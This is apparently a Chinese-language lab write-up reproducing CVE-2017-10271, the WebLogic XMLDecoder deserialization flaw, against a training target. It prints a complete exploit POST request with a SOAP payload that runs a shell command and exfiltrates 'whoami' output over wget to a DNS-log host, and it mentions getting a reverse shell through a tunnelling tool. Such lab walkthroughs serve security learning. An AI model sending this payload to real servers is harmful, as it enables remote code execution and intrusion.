CVE-2017-10271Weblogic-WLS-Security反序列化漏洞复现
目录
[CVE-2017-10271]Weblogic–WLS Security反序列化漏洞复现
靶机地址
网站地址 <cyberstrikelab.com>
靶机地址
靶机说明
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
开启并访问靶机
POC
在访问地址后面补充
/wls-wsat/CoordinatorPortType
会跳转到如下页面,说明有漏洞
exp
两个核心:
- 默认的
GET
方法修改为POST
方法 - Content-Type: text/xml
另外,靶机没有
curl
不过有
wget
,可通过
wget
+
dnslog
信息外带
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxxxxx.cyberstrikelab.com:83
Content-Type: text/xml
Content-Length: 617
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget `whoami`.xxxxx.dnslog.cn
</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
反弹shell
一开始反弹shell没有成功,网上查询资料,根据又菜又爱倒腾大佬文章提示,发现部分字符需要转换成实体编码;网上随便找的实体编码在线转换网站
,反弹过程中使用了
的内网穿透工具(免费的),顺利反弹到本地的
kali
电脑,顺利
getshell
。
后续查找flag过程略
参考资料以及工具网站:
- cyberstrikelab靶机网站
- 大佬的
- 反弹shell网站
- 实体编码在线转换网站
- 内网穿透工具
- 大表哥哟的 cpolar 使用教程